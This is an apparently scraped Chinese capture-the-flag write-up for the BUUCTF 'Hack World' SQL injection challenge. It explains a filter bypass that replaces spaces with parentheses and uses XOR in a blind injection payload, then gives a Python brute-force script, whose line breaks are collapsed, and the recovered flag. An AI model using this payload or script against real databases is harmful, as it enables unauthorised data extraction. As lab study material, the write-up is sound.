当前位置: 代码迷 >> 综合 >> [buuctf][CISCN2019 华北赛区 Day2 Web1]Hack World
  详细解决方案

[buuctf][CISCN2019 华北赛区 Day2 Web1]Hack World

热度:81   发布时间:2023-11-04 23:03:15.0

[CISCN2019 华北赛区 Day2 Web1]Hack World

分析

打开环境发现这个

All You Want Is In Table 'flag' and the column is 'flag'

还有个输入框
随便输一个数字1
返回

Hello, glzjin wants a girlfriend.

肯定是sql注入没跑了,而且要查找flag表下的flag字段
由于提交前后url没有变化,所以是通过POST方法提交了参数id。

打开hackbar模拟post过程
发现输入3 or 1=1时 返回

SQL Injection Checked.

有过滤
fuzz一下发现空格,or 等不能用

构造payload

用^代替空格

复习下异或注入

mysql> select 1^1^1;
+-------+
| 1^1^1 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)
mysql> select 1^2^1;
+-------+
| 1^2^1 |
+-------+
|     2 |
+-------+

中间的数可以作为返回值
用括号把flag括起来以代替空格效果
于是1^(ascii(substr((select(flag)from(flag)),1,1))=102)^1
当ascii码正确时返回1否则是0
而1在题目中的会显是
Hello, glzjin wants a girlfriend.
0是
Error Occured When Fetch Result.

写盲注脚本

import requests as req
import time
url='http://d6d4e6c5-44bb-40b3-9060-fc4ff98097f4.node4.buuoj.cn:81/'
res=''
#res是查询的数据
#i表示假设的值的长度
for i in range(1,100):
#ascii范围是所有小写字母for ascii in range(32,128):id=f"id=1^((ascii(substr((select(flag)from(flag)),{i},1))={ascii})^1)"data={'id': id}r=req.post(url=url,data=data)print(id)if "Hello, glzjin wants a girlfriend." in r.text :res+=chr(ascii)print(res)breakif ascii ==127:exit(0)

flag:flag{c59f1394-f86f-429e-bcf6-b8bb8094a556}

============================================
最近一堆考试和大作业,真是让人头大

  相关解决方案